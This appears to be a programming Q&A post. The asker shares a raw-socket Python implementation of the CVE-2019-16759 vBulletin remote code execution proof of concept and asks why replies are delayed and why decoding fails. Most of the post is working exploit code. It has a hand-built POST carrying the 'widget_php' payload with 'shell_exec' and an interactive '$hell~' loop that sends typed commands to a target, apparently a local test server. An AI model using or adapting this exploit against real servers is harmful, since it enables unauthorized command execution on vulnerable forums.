I am trying to create a raw socket implementation of the CVE-2019-16759 proof of concept.
When my code runs, it makes the correct POST
request, and gets back the response [looking at WireShark I can confirm this], but it takes 5 seconds, while the non-socket implementation is instant.
I've noticed that the POST
request has this "continuation" part in the packet info, that I don't see when running the proof of concept.
My socket library that creates the POST
request:
import socket
import urllib.parse
class socket_http:
req = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def __init__(self, HOSTURL, PORT=80, COMMAND="id"):
self.parsedURL = urllib.parse.urlparse(HOSTURL)
self.PORT = PORT
self.cmd = COMMAND
self.req.connect((self.parsedURL.netloc,PORT))
def closeSocket(self):
self.req.close()
def post(self, URL, connectionType="", HTTP_version="1.1"):
postURL = urllib.parse.urlparse(URL)
postReq = ""
if postURL.path == "":
postReq += "POST / HTTP/" + HTTP_version + "\r\n"
else:
postReq += "POST " + postURL.path + " HTTP/" + HTTP_version + "\r\n"
postReq += "Host: " + postURL.netloc + ":" + str(self.PORT) + "\r\n"
postReq += "User-Agent: python-requests/2.21.0\r\n"
postReq += "Accept-Encoding: gzip, deflate\r\n"
postReq += "Accept: */*\r\n"
postReq += "Connection: keep-alive\r\n"
postReq += "Content-Length: " + str(len("routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;")) + "\r\n"
postReq += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
postReq += "routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('" + self.cmd + "'); exit;\r\n"
self.req.send(postReq.encode())
chunks = []
while True:
chunk = self.req.recv(int(1024)).decode()
if chunk:
chunks.append(1024)
else:
break
return ''.join(chunks)
My code that runs the exploit:
from socket_req import socket_http as socket
import sys
HOST = "http://127.0.0.1"
PORT = 82
while True:
try:
session = socket(HOST, PORT)
session.cmd = input("$hell~")
print(session.cmd)
answer = session.post(HOST)
print(answer)
session.closeSocket()
except KeyboardInterrupt as e:
session.closeSocket()
sys.exit("\nClosing shell...")
except Exception as e:
session.closeSocket()
sys.exit(str(e))
I want to find the root issue to why the request is taking so long to reply compared to the POC, which is instant (you can see in the WireShark capture that the POST
request was sent at 2.3 seconds and the reply comes at 7.3 seconds). When I run this script, this is what happens:
$hell~ls
ls
'utf-8' codec can't decode byte 0x8b in position 274: invalid start byte
I believe there are two issues here, the first being the long delay and the second being the "invalid start byte" error.